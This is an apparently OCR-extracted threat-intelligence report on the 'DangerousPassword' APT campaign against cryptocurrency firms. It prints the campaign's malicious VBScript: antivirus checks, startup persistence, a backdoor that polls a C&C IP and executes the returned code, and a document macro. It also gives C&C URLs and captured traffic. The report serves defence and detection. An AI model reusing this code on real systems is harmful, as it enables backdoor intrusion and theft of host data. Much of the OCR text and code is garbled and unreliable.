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Summary

Recently, ThreatBook's threat intelligence cloud has captured several compressed

Trojan files with the same characteristics, and found related network assets and

attacking samples of hidden hackers. It is concluded that there is an APT team behind

the scenes which attacks cryptocurrency companies specifically, since the decoy files

have the following topics, such as "monthly business report", "job description", "project

risk profile", etc., and all the above contents relate to cryptocurrencies. Based on its

attacking method, we name it “DangerousPassword”, and the details are as follows:

® The decoy files issued by “DangerousPassword” involve Chinese, English,
Japanese, Russian, etc., the number of domain name assets exceeds one hundred,
and the attack targets are mainly cryptocurrency companies. It is a resource-rich
and well-targeted APT gang.

® '"Dangerous Password" has been active since at least March 2018, and mainly
delivered malicious file download links through phishing emails, inducing
recipients to download compressed Trojan files from counterfeit Google, Microsoft,
and Amazon cloud servers.

® Generally, the compressed files contain decoy encrypted files and malicious
shortcuts disguised as password files. After the user executes the files, they will
download a backdoor script and execute it directly, while displaying the document
password to deceive the user.

® After the malicious backdoor is activated, it will monitor the host for software virus
killing processes such as "Kingsoft" and "360" to determine the follow-up
operations such as bypassing or staying. At the same time, the backdoor sends data
such as host information and running processes back to the C&C server, and
continuously sends requests to perform subsequent operations.

® ThreatBook Threat Detection Platform (TDP), Threat Intelligence Platform (TIP),
Corporate Security DNS Service (OneDNS), and Threat Intelligence Cloud API
have all supported the detection of the latest attacks of this gang. For assistance,
please contact us at: contactus@threatbook.cn.

Details

Recently, ThreatBook Threat Intelligence Cloud has captured multiple sample files that
use compressed packages to store Trojans. The decompressed files include encrypted
legitimate Office documents and malicious programs disguised as “passwords” TXT
(including English, Russian, Japanese, etc.) shortcut files, and the effect is shown below:
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Through analysis, it is found that the addresses directed by the shortcuts were all in the
form of short links provided by the US bit.ly website. After the file was executed, the
password of the encrypted document was returned from the C&C server and the
malicious code was executed in the background. It is a typical social engineering attack
to make users mistakenly think that they have found the password and successfully
opened the encrypted file.
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The attack framework of the captured Trojan is as follows:
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Taking one of the samples as an example, the analysis is as follows:

Table 1
File name New Employee_s Salary and Bonus Guideline.zip
Type Zip file
Size 43kb
SHA256 | AS0EC2F42BECI1C43E952DE2728DE0217F178440BDD8FCEF70B
B6DB4C27E9B4BB

1. The compressed package contains three files, two identical encrypted docx files, and
a Ink file disguised as "Password.txt".
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4] 1.New Employee's Salary and Bonus Guideline.docx 2019/5/8 8:57 Microsoft Word ... 25 KB
“ 2.New Employee's Salary and Bonus Guideline.docx 2019/5/8 8:57 Microsoft Word ... 25KB
# | Password.txt 2019/8/14 9:13 HREA 3 KB
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BRI B(S):  C:\Vindows\Systen32

“1.New Employee’s Salary and Bonus Guideline.docx” and “2.NewEmployee’s Salary
and Bonus Guideline.docx” are two files with the same hash, and the contents of the
files are encrypted to induce users to click “Password.txt” to get the password. The
Password.txt.Ink file will remotely execute a Vbscript script. The URL in the form of a
short domain name is “hxxps://bit[.]ly/2MgEsjc”. When the actual network request is
made, the URL address is
“hxxp://download|.]showprice.xyz:8080/open?id=1qbg9gs51LsGOBMJmCBAVWdm
AbkV7WFDYPndK528Q71%3D.

2. The vbscript script code requested to be executed through the Ink file is shown below.
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This vbscript script has four functions:

a. Write the real Password.txt text file in the user’s temporary directory and open it,
displaying the password content “newsalarysystem” (this password is used to open the
docx file in the decoy file). If the user closes the text editor process, notepad, the
Password.txt is deleted.

b. Create a Ink file named “xBoxOne.Ilnk™ in the temporary directory. This file requests
the execution of a remote script file. The URL address is hxxps: //bit [.] ly/2xMHyIE.
Then move the file to the startup directory for persistent residency.

c. Anti-virus software detection.



d. Decrypt and release the file named “qjqykntc.vbs” to the user’s temporary directory,
and then execute it.

Anti-virus software detection is as follows, traversing the current system process
through the wmi interface. If a “kwsprot” process (Kingsoft AntiVirus) or “npprot”
process (NPAV anti-virus protection) is detected, use cscript.exe to execute subsequent
landing vbscript; otherwise use wscript.exe engine (It is conjectured that it’s for
dynamic kill-free processing). Then proceed to find the name of the Anti-virus software
process. If a process containing “hudongt” (360 active defense) or a “ghsafe” process
(360 Anti-virus software components) is detected, the Ink file created in the temporary
directory is deleted; otherwise, the normal execution is performed.

tpl=""
set wmi=GetObject ("w ts: rsonationLevel I t . t v2")
set pl=wmi.ExecQuery(" t "&"W ")
Jfor each pi in pl
tpl=tpl&LCase(pi.Name) &" |"

next
ex="w
3if Instr(tpl,"kwsp"&"rot")>0 or Instr(tpl,"nj "&"ot")>0 then
ex="cs"
end if
1n=" r"e" b " & ex & "cr"&"ipt """gpf&""" "+"41.85.145.164:
1n2=" & > """gflp&""" """& wish.SpecialFolders("startup") &"\"""
3if Instr(tpl," "&"ngf")>0 or Instr(tpl,"gh="&"afe")>0 then
1n2=" L ""rgflpg""""
else
tcl.Save
end if
wish.run "CM"&"D.E"&"XE "&" " & ln&" 1" & " & " & 1In&" 2" & 1n2,0,false

window.close

The following files are released in the environment where no related anti-virus software
is detected.
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In this section of vbscript, after performing a series of string concatenation, base64
decryption, and anti-virus software detection, the following shell commands will be
executed.



CMD.EXE /c start /b wscript
"C:\Users\WIN7_3~1\AppData\Local\Temp\qjqykntc.vbs"
41.85.145.164:8080/open 1 & start /b wscript
*C:\Users\WIN7_3~1\AppData\Local\Temp\qjqykntc.vbs"
41.85.145.164:8080/open 2 & move
"C:\Users\WIN7_3~1\AppData\Local\Temp\xBoxOne.Ink"
"C:\Users\Win7_32_Malware\AppData\Roaming\Microsoft\Windows\Start
Menu\Programs\Startup\"

The shell will carry the parameter "41.85.145.164:8080/open" to start the qjqykntc.vbs
script. Then move the Ink file in the temporary directory to the system startup directory
to achieve persistent residency.

3. The released qjqykntc.vbs is analyzed.

This is a backdoored vbscript that will continuously send Post requests to “http:
41.85.145.164: 8080 / open? topic = s random numbers”. If the target return data is
greater than or equal to 10 bytes, end the post request, and then execute the return data.



1 on error resume next

Z randomize

sewi=""

HTP="ht"

uu="tp:"&"

ps="PO:

cob="Win"&"Http" &"Re

uu=HTP&uu

cob=cob&"uest.5"

uu=uu&WScript.Arguments.Item(0)

cob="Win"&"Http"&"."&cob

cob=cob&" . 1"

53 set pa=CreateObject (cob)

14 tw=20

15 [Hdo while Len(sewi)<10

16 [ if WScript.Arguments.Length>0 and sewi="" then

] j tpec=uu&"?"&"to"&"pic"&"=s"&Int (90*rnd+10)

§ pa.Open ps&"T",tpc,false
? pa.Send CStr(tw)&"0"
3 ret v=CS5tr(pa.Status)

if ret v="20"&"0" then

22 } pcc=pa.ResponseText

23 © el:
3 WScript.Sleep 1*1000
pcc=ret v

end if

sewi=pcc

N

e

u

[0}

= else
exit do
end if
1 loop
32 ?if pcc<>"" then
S Execute (sewi)
34 end if

The post requests monitored are as follows.

11/20/19 04:52:44 PH HTTPListener80] POST /open?topic=s12 HTTP/1.1

11/20/19 04:52:44 PH HTTPListener80] Connection: Keep-Alive

11/20/19 04:52:44 PH HTTPListener80] Content-Type: text/plain; Charset=UTF-
8

11/20/19 04:52:44 PH HTTPListener80] Accept: x/x

11/20/19 04:52:44 PH HTTPListener80] User-Agent: Mozilla/4.0 (compatible; W
in32; WinHttp.WinHttpRequest.5)

11/20/19 04:52:44 PM [ HTTPListener80] Content-Length: 3

11/20/19 04:52:44 PHM [ HTTPListener80] Host: 41.85.145.164:8080

‘11/20/19 04:52:44 PM [ HTTPListeners80]

111/20/19 04:52:44 PM [ HTTPListener80] 200

4. The following C&C returned the script code in the form of vbscript. The captured
packet data is as follows.



M Wireshark - 1855 TCP i (tcp.stream eq 2) - Oac19bda-c19f-4dd7-b3fa-a75eff0291f6.pcap * m] X

POST /open?topic=s66 HTTP/1.1

Connection: Keep-ilive

Content-Type: text/plain; Charset=UTF-8

Accept: */*

User—Agent: Mozilla/4.0 (compatible; ¥in32; WinHttp. ¥inHttpRequest.5)
Content-Length: 3

Host: 41.85.145.164:8080

200HTTP/1.1 200 OK

Date: Tue, 20 Aug 2019 01:46:46 GNT

Server: Apache/2.4.37 (¥in32) OpenSSL/1.0.2p FHP/S. 6. 40
X-Powered-By: PHP/S5. 6. 40

Content-Length: 6982

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Content-Type: text/html; charset=UTF-8

on error resume next
sc="sc”

wsc="v"fsc

ab=ab+23

ab=ab+11

wsc=wsc& rip”+”t. Sh”
ea=1

ab=ab-ea

wsc=wsck’ell”

ab=ea+ab

set sh=CreateObject (wsc)
feom="."

ent=Chr (13) +Chr (10)

tab=Chr (9)

uID=CStr (rand ()

if WScript.Arguments.Length>l then
2 BFR A4, 9 BBHE A4, 1 ranls).

FFE (7469 bytes) “ SRANRIERIRA ASCIT =
EH: | | [T —mw]

The role of this vbscript is to collect user host information (user name, host name, host
installation configuration information, system version information, network card
information, ip, etc.), system current process information, and then return this
information to the C&C server. The C&C address is still the IP coded in the first vbs:
41.85.145.164: 8080

Accept: */k ~
Accept-Encoding: gzip, deflate

User-Agent: Mozilla/d.0 (compatible; MSIE 7.0; Windows NT 6.1: Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30728; Media Center PC 6.0; .NET4.0C: .NET4.0E)

Host: 41.85.145. 164:8080

Content-Length: 1868

Connection: Keep-Alive

Cache—Control: no—cache

Current Time: 8/20/2019 2:47:49 AN

Username USER—FC\admin
Hostnane USER-FC
05 Name: Microsoft Windows 7 Professional 32-bit

05 Version: 6.1.7601

Install Date: 10/05/2017

Boot Time:  8/20/2019 2:21:28 AN

Time Zone:  (UIC 1 howrs) G@MT Standard Time

CPU: Intel (R} Core(TH) i5-6400 CPV @ 2. 70GHz (x64)
Path: C:\Usershadnin\AppDataiLocal \TempYajqvknte. vbs
Network Adapter Intel(R) PRO/1000 MT Network Connection

MAC Address 52:54:00: 4A:04: AF

IP Address: 192 168. 100. 165, £e80: : al79:b3££:199:2314

Subnet Mask: 2855, 255, 265.0, 64

Default Gateway: 192. 168. 100. 2

DNS Server: 192.168. 100.2

264 0 smss. exe
348 0 osrss. exe

396 0 wininit. exe

404 1 esrss. exe

444 1 winlogon. exe

492 0 services. exe

500 0 Isass. exe

508 0 sn. exe

1204 0 spoolsy. exe

1408 0 qemu-ga. exe

1976 1 taskeng. exe | 1

2016 1 “C: Windows\system32\Dwm. exe”

276 1 C: Windows\Explorer. EXE

332 1 C: Windows\Systen32\ctfnon. exe

256 0 SearchIndexer. exe

2196 1 “windanr. exe”

3340 1 “C:\Program Fil i exe” “C:\Users\adni Local\Tenp\New Employee’ s Salary and Bonus Guideline. zip”

2952 1 “C:\Program Files\Microsoft Office\0fficel4\WINHORD. EXE” /n “C:\Usersiadmin) \! 1\Temp\Rar$DIa3340. 10266\1. New Employee’ s Salary and Bonus Guideline. docx
2192 1 “C:\Windows\Systen32\ond. exe” /C "ECHD newsalarysystem>C:\Users\adnin\AppDataiLocal\Tenp\Password. txt$NOTEPAD. EXE C:\Users\adnin\AppData\Looal\Tenp\Password. txt8DEL C
\Users\admin\AppDataiLocal\Tenp\Password. txt”

2300 1 \?7\C: Windows\systen32\conhost. exe

2896 1 NOTEPAD. EXE C:\Users\adnin\AppData\Local\Tenp\Password. txt

3328 0 WniPrvSE. exe

2352 1 wseript “C:\Users\admin\AppData\Local\Tempqjqvknte. vbs” 41.85. 145. 164:8080/open 1

2456 1 wseript “C:\Usershadmin\AppData\Local \Temphajavknte. vbs” 41.85. 145.164:8080/0pen 2

1392 0 OSPPSVC. EXEHTTE/1. 1 200 OK

Date: Tue, 20 Aug 2019 01:47:50 GNT
Server: Apache/2.4.37 (Win32) OpenSSL/1.0.2p PHP/5.6.40

3 BFU AL, 1 WHE AL, 1 ruals).
EA31iE (2523 bytes) > BRFRIFHIR A ASCII v

5. Through extension linking of the C&C domain name showprice.xyz, it is found that
there are other suspicious components on the C&C side, which can be used for
distribution.



C @ Notsecure | ielsfleshare.sharedrivegght.xyz:2080

f Google Chrome isn't your default browser @ Set as default

}ndex of /

Name Last modified Size Description

applications html 2017-02-27 10:36 3.5K
[E) bimamicss  2017-02-27 1036 177
faviconico  2019-09-16 1500 180K

£ ime 2019-09-16 14:29 -
open php 2019-09-16 14:55 551K
(?) wdat 2019-09-23 17:58 1.3M
(3 zampp/ 2019-09-16 1429 -

Apache/2.4.37 (Win32) OpenSSL/1.0.2p PHP/5.6.40 Server at ielisfileshare.sharedrivegght.xyz Port 8080

The more special one is the v.dat file, which is a free and open source remote
management tool, TightVNC, version number 2.8.8.

Rt B

t88
XAHIRBA  TightVNC Server
pagid] Rz

THREAE  2.8.8.0

F@EFF TightVHC

@A 2, 8, 8, 0

R A% Copyright (C) 2008-2013 GlavSoft LLC.
Fop 1.33 1B

B HER  2019/11/12 17:50

BE Wi (EED

JRHRIHRE tvnserver. exe

The configuration interface of the TightVNC tool is as follows. Remote desktop control
can be achieved by setting the connection password (which needs to be consistent with
the server) and the IP of the host. The IP information of the captured end has been
obtained in the vbscript analyzed above, and it is inferred that the tool will be used in
subsequent attacks by hackers.



VTightVN(_ZMServr. et P

Please protect your TightVNC Service. Make sure to enter a password for remote
access. Also, it might be a good idea to use administrative password on multi-user

Connection

Remote Host: v Connect
Password for Remote Access
Enter a name or an IP address. To specify a port number, =
append it after two colons (for example, mypc::5902). © o not change
(7) Do not use password protection (DANGEROUSY)

Reverse Connections (@) Require password-based authentication (make sure this box is always checked!
Listening mode allows people to attach your viewer to T 3 X

their desktops. Viewer will wait for incoming connections. [ Listening Enter password:

Confirm

TightVNC Viewer .

TightVNC is cross-platform remote control software.

u Its source code is available to everyone, either freely
VNC (GNU GPL license) or commerdally (with no GPL restrictions).

Administrative Password
() Do not change

") Do not use password protection

[ Version info... ] [ Licensing ] [ Configure.... ] (@) Protect control interface with an administrative password

Enter password:

r

6. The xBoxOne.lInk file in the startup directory is analyzed.

The xBoxOne.lnk link executes the remote resource script. The url address is
hxxps://bit[.]ly/2xMHyIE, and the jump address is
hxxp://start.showprice[.]xyz:8080/open?id=rw WMIZEIQAhRWWMTUEMo70rKhsH
wtFdOWCYaluiXpGeyOly%2BMCi5djeGEpOUUix/. Returned data under continuous
monitoring is as follows.

Confirm

el

This is a vbscript script similar to the password.txt.Ink link at the beginning. The
vbscript released in the user’s temporary directory is completely the same. The useless
auto-start setting has been cancelled. Some adjustments have been made at the level of
code obfuscation. The built-in release script start parameter is replaced by the C&C
(drivegoogle.publicvm [.] com) in the form of a domain name. The original encrypted
form of the script used to release and execute the code is as follows.

e 9

The decryption logic is: replace the “* ’(opening quotes) and “ ~ ” (tilde) in the metadata,
and then perform Caesar password decryption replacement between the customized
“bEABrsCDalnopJKdeLGHZcfMNOyzPiQRvwxSTkIUVWghjmgXYFtu” string
sequence and the default base64 character sequence



“ABCDEFGHIJKLMNOPQRSTUVWXY Zabcdefghijklmnopqrstuvwxyz”. The
decryption function is as follows.

function desc(eStr, nKey)
desc=""
a=""
tlsl="A:
t1s2="bEA!} DalInoj
for i=1 to Len(eStr)
if Asc(Mid(eStr,i,1))=96 then
if Asc(Mid(eStr,i+l1l,1))=96 then
i=i+l
desc=desc&Chr (13) &Chr (10)
else

sc=desc&Chr (10)

else
a=Asc(Mid(eStr,i,1))
c=0
for j=1 to Len(tls2)
b=Asc (Mid(tls2,j,1))
if a=b then
desc=desc&Mid(tlsl,j,1)
c=1
end if
next
if c=0 then
if Asc(Mid(eStr,i,1))=126 then
desc=desc&Chr (34)
else
desc=desc&Mid (eStr,i,1)
end if
end if
end if
next
end function

This script will execute the self-decrypting hMDuTqVJi.vbs, and pass in the parameter,
“drivegoogle.publicvm.com/open”. Request to execute ../open directory to return data.

Association Analysis

Through the C&C correlation of the captured sample, it was found that hidden hackers
also registered a large number of similar malicious assets, and more often faked Google,
Microsoft, Amazon and other major domain names, such as googleupload.info,
docs.goglesheet.com, msupdate.publicvm.com, amzonnews.club, etc.
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The domain names extended from the above-mentioned domain names can be
associated with more attack samples of the organization. After tracing back, the attack
characteristics include:

1. The initial stage of the attack was to send a phishing email with a malicious link to
induce the recipient to download the Trojan compressed file analyzed above. The
phishing email in the following figure is in Chinese and the target is a blockchain
technology company.

HERPIFE (201953R)
Andri ic
S te 9
2EAN: An ie«
df8): 20195438258 (/A—) 10:23 ¢
FJ\: 10 KB
‘v)
s shared the following document
@ 7 &AEE R, (20194:3)1)

Google

2. The decoy file names include “Monthly Business Report”, “Development
Management Plan”, “Z5 3 (D#5%1” (Business Policy), “Security Report (August 2019)”

(August 2019 Security Report) , “New Employee’s Salary and Bonus Guideline”,
“CONSENSYS JOB DESCRIPTION”, “Block Verify Group Job Description [GDPR]”,
“O030p puckoB npoekra” (Project risk profile), etc., it is speculated that its e-mail



sending target may involve executives, technology, recruitment, operations, and other
personnel of technology companies, and all document content is related to
cryptocurrencies, so it is determined that its attack target is cryptocurrency companies.
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Implementing Changes to an Employee’s Status, Salary
Band or Pay.

How a Job gets assigned to a Salary Band.

A clear and current job description is the starting point for evaluating the job
responsibilities and assigning a salary band. Job responsibilities, complexity, scope
and requirements needed to successfully do the job will determine the salary
band assignment; job titles do not determine the salary band..

Each salary band is assigned a salary range which reflects the market value for the
job and other similar benchmarked jobs. The band range reflects the minimum
base salary and the maximum base salary that should be paid for any job in that
corresponding salary band. Salary ranges will be competitive with our respective,
defined markets and reflect the internal relationship among salary bands within
the University. The structure will be reviewed on an annual basis by considering
market trends inside and outside of higher education, University financial
resources, and overall University strategy and goal achievement. A revised salary
band structure will be prepared and implemented whenever appropriate, and as
authorized by University leadership..

[Bitcoin Price Prediction For 2018 - 2022.

Month: Openc  Min-Maxe  CloseTotal,% ¢
2018+ 0
Mar 10409« 5792-11704¢ 62287-40.2% ¢
Apre 6228¢ 4866-6913+ 5232-49.7%¢
Maye 5232¢ 4962-5708¢ 5335:-48.7%¢
June 53350 4167-5335¢ 44814-57.0% ¢
Jule 4481¢ 4481-5562¢ 51987-50.1% ¢
Auge 51984 5198-6452¢ 6030+-42.1% ¢
Sepe 60304 6030-7485¢ 69957-32.8% ¢
Octe 69954 6021-6995¢ 6474:-37.8%¢
Nove 6474c 6474-8036¢ 75100-27.9% ¢
Dece 75104 7510-9322¢ 87124-16.3% ¢
2019+ e
Jane 87120 8712-10296¢ 9622¢ -7.6%¢ e
Febe 96220 9622-11943¢ 11162« 7.2%¢ e
Mar 11162« 11162-13854+ 12948 24.4%¢ e
Apre 12948 10954-12948 11779: 13.2%¢ 4
May+ 11779« 11779-14620« 13664« 31.3%« C:
June 13664« 12702-14614« 13658« 31.2%¢ @
Jule 13638« 13658-16952¢ 15843« 52.2%¢ @
Auge 15843 15464-17792: 16628« 59.7% e
Sepe 16628 16628-20500+ 19159: 84.1%:¢ C
Octo 19159 18897-21741+ 20319« 95.2%:¢ @
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Coinbase Sets Out How It Foiled.a
‘Sophisticated’ Hacking Attack

Cryptocurrency exchange Coinbase has described how it was targeted by, and foiled, “a
sophisticated, highly targeted, thought out attack” aimed to access its systems and
presumably to make off with some of the billions of dollars’-worth of cryptocurrency it
holds.«

In an Aug. 8 blog post that sets out in technical detail how the plot unfolded and how
the exchange countered the attempted theft, Coinbase said the hackers used a
combination of means to try and hoodwink staff and access vital systems — methods
that included spear phishing, social engineering and browser zero-day exploits..

3. The malicious code in the early attack needs to be launched by launching a macro in
the Office document. Judging from the properties of LNK file, the attacker has used a
shortcut to implant the backdoor since at least June 22, 2018. The attack method is

cleverer, and thus more concealed.



Sub AutoOpen()

rror Resume Next -

Din SHStr As String

Din FilePath As String

Din ExPath A:

FilePat!
Str =

ExPath = "Lorer “

FilePath = FilePath & “:" & “\Use” & “rs\Pub®
Str = "¥" & SHStr

W¥ = “Save”

ExPath = "EXP" & ExPath

SHStr = SHStr & "ipt.”

@ Secudty Waming  Macros have been ssabied. | Opti

WW = WW & "As”
StilP = StrlP & "C START"

- SHStr = SHStr & “She”
FilePath = FilePath & “1ic\EK.” & “LN"
SHStr = SHStr & "11°

bt

*
* *
This document is protected by GOPR
* GDPR © open data enable content Sty StrlP & " /
* Set ObjShl = CreateObij
LA FilePath = FilePath &
Set Sht = ObjShl.CreateShortcut (FilePath)
StrRn = "C" & StrRn
Sht. TargetPath = StrRn
StrName = “P° & “R"
StrTemp = “HI” & “A htt"
StrTemp = StrTemp & “ps:/”
Sht. Arguments = StrLP & "B N5" & Str{cmp & “/bit" & "." & 'IYIZMcdqu'
Sht. Save
StrName = 6" & "D” & StrName
VievDocunent StrNane
ObjShl.Run ExPath & FilePath
Sub

*

-

ect (SHStr)
B
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